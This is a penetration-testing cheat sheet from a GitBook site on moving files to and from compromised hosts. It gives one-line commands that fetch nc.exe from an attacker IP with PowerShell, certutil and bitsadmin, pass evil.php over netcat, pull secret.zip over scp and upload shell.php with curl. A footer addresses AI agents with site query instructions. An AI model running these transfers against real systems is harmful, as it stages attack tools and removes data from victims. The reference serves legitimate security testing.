> For the complete documentation index, see [llms.txt](https://gitbook.nori-zamurai.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://gitbook.nori-zamurai.com/pentesting-cheatsheets/file-transfer.md).

# File Transfer

## Download

### HTTP Server with Python

```
python3 -m http.server 80
python2 -m SimpleHTTPServer 80
```

### Curl

```
curl -O http://host/file
```

### Powershell

```
powershell.exe -c (new-object System.Net.WebClient).DownloadFile('http://10.10.14.17/nc.exe','c:\temp\nc.exe')

powershell.exe -c (Start-BitsTransfer -Source "http://10.10.14.17/nc.exe -Destination C:\temp\nc.exe")

powershell.exe wget "http://10.10.14.17/nc.exe" -outfile "c:\temp\nc.exe"
```

### Cetutil

```
certutil.exe -urlcache -split -f "http://10.10.14.17/nc.exe" c:\temp\nc.exe
```

### Bitsadmin

```
bitsadmin /transfer job /download /priority high http://10.10.14.17/nc.exe c:\temp\nc.exe
```

### Netcat

```
Attacker:
  nc -lvnp 443 < evil.php

Victim:
  nc -v 192.168.42.42 443 > evil.php
```

### SMB&#x20;

```
Attacker:
    python smbserver.py share .
Victom:
    copy \\10.10.14.21\share\whoami.exe .
```

### SCP

```
Attacker:
    scp charix@10.10.10.84:secret.zip ./

scp -r user@targetIP:/path/to/share /local/share
# remote to local
```

## Upload

### Curl

```
curl --upload-file shell.php --url http://$ip/shell.php --http1.0

scp /path/to/local/file.txt user@targetIP:/path/to/share
# local to remote
```

## Link

{% embed url="<https://isroot.nl/2018/07/09/post-exploitation-file-transfers-on-windows-the-manual-way/>" %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://gitbook.nori-zamurai.com/pentesting-cheatsheets/file-transfer.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
